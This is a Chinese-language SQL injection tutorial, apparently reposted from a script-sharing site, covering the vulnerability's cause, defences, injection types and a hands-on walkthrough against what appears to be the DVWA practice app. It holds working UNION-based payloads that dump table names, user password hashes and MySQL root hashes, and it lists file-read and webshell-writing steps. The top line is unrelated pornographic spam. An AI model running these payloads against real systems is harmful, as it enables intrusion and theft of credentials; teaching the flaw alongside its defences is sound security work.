欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

一篇文章了解SQL注入漏洞

 更新時間:2022年04月01日 11:15:21   作者:superrocksec  
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行指定的SQL語句,下面這篇文章主要給大家介紹了關(guān)于SQL注入漏洞的相關(guān)資料,需要的朋友可以參考下

SQL注入漏洞原理

漏洞原理

  web頁面源代碼對用戶提交的參數(shù)沒有做出任何過濾限制,直接扔到SQL語句中去執(zhí)行,導(dǎo)致特殊字符改變了SQL語句原來的功能和邏輯。黑客利用此漏洞執(zhí)行惡意的SQL語句,如查詢數(shù)據(jù)、下載數(shù)據(jù),寫webshell、執(zhí)行系統(tǒng)命令以此來繞過登錄權(quán)限限制等。

檢測方法

  可以利用sqlmap進(jìn)行SQL注入的檢查或利用,也可以使用其他SQL注入工具。也可以手工測,利用單引號、and 1=1以及字符型注入進(jìn)行判斷。

防御措施

  (1)sql 語句預(yù)編譯和綁定變量

  (2)所有的查詢語句都使用數(shù)據(jù)庫提供的參數(shù)化查詢接口,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到 SQL 語句中。當(dāng)前幾乎所有的數(shù)據(jù)庫系統(tǒng)都提供了參數(shù)化 SQL 語句執(zhí)行接口,使用此接口可以非常有效的防止 SQL 注入攻擊。

  (3)對進(jìn)入數(shù)據(jù)庫的特殊字符( ’ <>&*; 等)進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換。

  (4)確認(rèn)每種數(shù)據(jù)的類型,比如數(shù)字型的數(shù)據(jù)就必須是數(shù)字,數(shù)據(jù)庫中的存儲字段必須對應(yīng)為 int 型。

  (5)數(shù)據(jù)長度應(yīng)該嚴(yán)格規(guī)定,能在一定程度上防止比較長的 SQL 注入語句無法正確執(zhí)行。

  (6)網(wǎng)站每個數(shù)據(jù)層的編碼統(tǒng)一,建議全部使用 UTF-8 編碼,上下層編碼不一致有可能導(dǎo)致一些過濾模型被繞過。

  (7)嚴(yán)格限制網(wǎng)站用戶的數(shù)據(jù)庫的操作權(quán)限,給此用戶提供僅僅能夠滿足其工作的權(quán)限,從而最大限度的減少注入攻擊對數(shù)據(jù)庫的危害.

  (8)避免網(wǎng)站顯示 SQL 錯誤信息,比如類型錯誤、字段不匹配等,防止攻擊者利用這些錯誤信息進(jìn)行一些判斷。

SQL注入內(nèi)容

注入條件

SQL 注入需要滿足以下兩個條件:

  • 參數(shù)可控:從前端傳給后端的參數(shù)內(nèi)容是用戶可以控制的
  • 參數(shù)帶入數(shù)據(jù)庫查詢:傳入的參數(shù)拼接到 SQL 語句,且?guī)霐?shù)據(jù)庫查詢。 判斷注入 當(dāng)用戶傳入?yún)?shù)為 1’的時候,在數(shù)據(jù)庫執(zhí)行如下所示:
 select * from users where id=1' 

此 SQL語句不符合語法規(guī)則就會報(bào)錯。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

當(dāng)用戶傳入?yún)?shù)為 1 and 1=1 時

select * from users where id=1 and 1=1 

因?yàn)?1=1 為真,id=1 也是真, and 兩邊均為真。所以頁面會返回 id=1 的結(jié)果。

如果用戶傳入?yún)?shù)為 1 and 1=2 時

因?yàn)?1=2 為假 id=1 為真 and 兩邊有一個為假,所以頁面返回與 id=1 不一樣的結(jié)果。

  由此可以初步判斷存在 SQL 注入漏洞,攻擊者可以進(jìn)一步拼接 SQL 攻擊語句,進(jìn)行攻擊,致使信息泄露,甚至獲取服務(wù)器權(quán)限。

  其實(shí)也就是看有沒有回顯?;仫@是指頁面有數(shù)據(jù)信息返回。無回顯是指根據(jù)輸入的語句,頁面沒有任何變化或者沒有數(shù)據(jù)庫中的內(nèi)容顯示到網(wǎng)頁中。

id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"

SQL注釋符與注入流程

注釋符:

  • #(單行注釋 注意與 url 中的#區(qū)分)
  • --空格 (單行注釋 注意為短線短線空格)
  • /*()*/ (多行注釋 至少存在倆處的注入 /**/常用來作為空格)

注入流程:

  • 是否存在注入并且判斷注入類型
  • 判斷字段數(shù) order by
  • 確定回顯點(diǎn) union select 1,2
  • 查詢數(shù)據(jù)庫信息 @@version @@datadir
  • 查詢用戶名,數(shù)據(jù)庫名 user() database()
  • 文件讀取 union select 1,load_file(‘C:\wondows\win.ini’)#
  • 寫入 webshell select…into outfile…

使用 sql 注入遇到轉(zhuǎn)義字符串的單引號或者雙引號,可使用 HEX 編碼繞過。

SQL注入分類

SQLMap 分類

SQL 注入類型有以下 5 種:

UNION query SQL injection(可聯(lián)合查詢注入)

Stacked queries SQL injection(可多語句查詢注入)堆疊查詢

Boolean-based blind SQL injection(布爾型注入)

Error-based SQL injection(報(bào)錯型注入)

Time-based blind SQL injection(基于時間延遲注入)

輸入命令sqlmap -hh

輸入命令sqlmap -u

接受請求類型區(qū)分

GET 注入

GET 請求的參數(shù)是放在 URL 里的,GET 請求的 URL 傳參有長度限制 中文需要

URL 編碼

POST 注入

POST 請求參數(shù)是放在請求 body 里的,長度沒有限制

COOKIE 注入

cookie 參數(shù)放在請求頭信息,提交的時候 服務(wù)器會從請求頭獲取

注入數(shù)據(jù)類型的區(qū)分

int 整型

select * from users where id=1

sting 字符型

select * from users where username=‘a(chǎn)dmin'

like 搜索型

select * from news where title like ‘%標(biāo)題%'

SQL注入思路

1、尋找注入點(diǎn),可以通過 web 掃描工具實(shí)現(xiàn)

2、通過注入點(diǎn),嘗試獲得關(guān)于連接數(shù)據(jù)庫用戶名、數(shù)據(jù)庫名稱、連接數(shù)據(jù)庫用戶權(quán)限、操作系統(tǒng)信息、數(shù)據(jù)庫版本等相關(guān)信息。

3、猜解關(guān)鍵數(shù)據(jù)庫表及其重要字段與內(nèi)容(常見如存放管理員賬戶的表名、字段名等信息)還可以獲取數(shù)據(jù)庫的 root 賬號 密碼—思路

4、可以通過獲得的用戶信息,尋找后臺登錄。

5、利用后臺或了解的進(jìn)一步信息。

手工注入思路

1.判斷是否存在注入,注入是字符型還是數(shù)字型

2.猜解 SQL 查詢語句中的字段數(shù) order by N

3.確定顯示的字段順序

4.獲取當(dāng)前數(shù)據(jù)庫

5.獲取數(shù)據(jù)庫中的表

6.獲取表中的字段名

7.查詢到賬戶的數(shù)據(jù)

SQL 詳細(xì)注入過程

猜數(shù)據(jù)庫:

1' union select 1,database()

payload 利用另一種方式:

1' union select user(),database()version()

得到數(shù)據(jù)庫名:dvwa

PS:union 查詢結(jié)合了兩個 select 查詢結(jié)果,根據(jù)上面的 order by 語句我們知道查詢包含兩列,為了能夠現(xiàn)實(shí)兩列查詢結(jié)果,我們需要用 union 查詢結(jié)合我們構(gòu)造的另外一個 select.注意在使用 union 查詢的時候需要和主查詢的列數(shù)相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()

得到表名:guestbook,users
group_concat 分組
猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用編碼就不用單引號,用單引號就不用編碼)

得到列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用戶數(shù)據(jù):

列舉出幾種 payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

得到用戶數(shù)據(jù):

admin 5f4dcc3b5aa765d61d8327deb882cf99

猜 root 用戶:#

1' union select 1,group_concat(user,password) from mysql.user#

得到 root 用戶信息:

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

總結(jié) 

到此這篇關(guān)于SQL注入漏洞的文章就介紹到這了,更多相關(guān)SQL注入漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論